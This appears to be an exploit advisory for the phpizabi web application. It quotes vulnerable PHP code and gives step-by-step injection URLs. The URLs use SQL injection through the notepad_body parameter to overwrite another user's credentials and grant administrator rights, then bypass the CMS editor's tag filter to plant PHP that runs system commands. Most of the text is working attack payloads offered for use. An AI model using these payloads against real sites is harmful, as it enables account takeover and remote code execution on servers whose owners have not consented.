vulnerability:
sql injection in /theme/default/proc.inc.php

<?php

        function bufferProcParse($buffer) {
                global $CONF;
                
                $tpl = new template;
                $tpl -> LoadThis($buffer);
                // HANDLE POSTED NOTEPAD DATA ///////////////////////////////////////////////////////
                if (isset($_GET["notepad_body"])) {
                        myQ("UPDATE `[x]users` SET `notepad_body` = '".urldecode($_GET["notepad_body"])."' WHERE 
`id`='".me("id")."'");
                        me("flush");
                }
..

note urldecode() ...

exploitation, manual:

injection urls:

change username and password of an existing user:
[sql]', username = 'bookoo', password = md5('pass') WHERE username = 'user'/*
which becomes:
http://host/path_to_phpizabi/?notepad_body=%2527,%20username%20=%20%2527bookoo%2527,%20password%20=%20md5(%2527pass%2527)%20WHERE%20username%20=%20%2527user%

2527/*

grant yourself admin rights:
[sql]', is_moderator = 1, is_administrator = 1, is_superadministrator = 1 WHERE username = 'bookoo'/*
which becomes:

http://host/path_to_phpizabi/?notepad_body=%2527,%20is_moderator%20=%201,%20is_administrator%20=%201,%20is_superadministrator%20=%201%20WHERE%20username%20=%

20%2527bookoo%2527/*

navigate:

http://host/path_to_phpizabi/?L=admin.index

boom !

now go to:

http://host/path_to_phpizabi/?L=admin.cms.edit&id={cms.file}

use this opening and closing tag style, example:

<script language="php">
system("ls -la");
</script>

(it is always availiable, see:http://www.php.net/manual/en/language.basic-syntax.phpmode.php)
because of that preg_replace() in /modules/admin/cms/edit.php :

..
        if (isset($_POST["Submit"])) {
                if ($handle = fopen("modules/cms/{$_GET["id"]}.php", "w")) {
                        
                        $body =
                                "<?php if (!defined(\"CORE_STRAP\")) die(); ?>\n"
                                .preg_replace('#(<\\?.*\\?>)|(<%.*%>)|<\\?php|<\\?|\\?>|<%|%>#si', NULL, 
stripslashes($_POST["body"][0]))
                                ."\n<!-- Edited by ".me("username")." on ".date($CONF["LOCALE_HEADER_DATE_TIME"])." 
-->";
                        ;
                        
                        fwrite($handle, $body);
                        fclose($handle);
..

which is bypassed.

save changes and navigate:

http://host/path_to_phpizabi/?L=cms._cms_file_

to see the output...
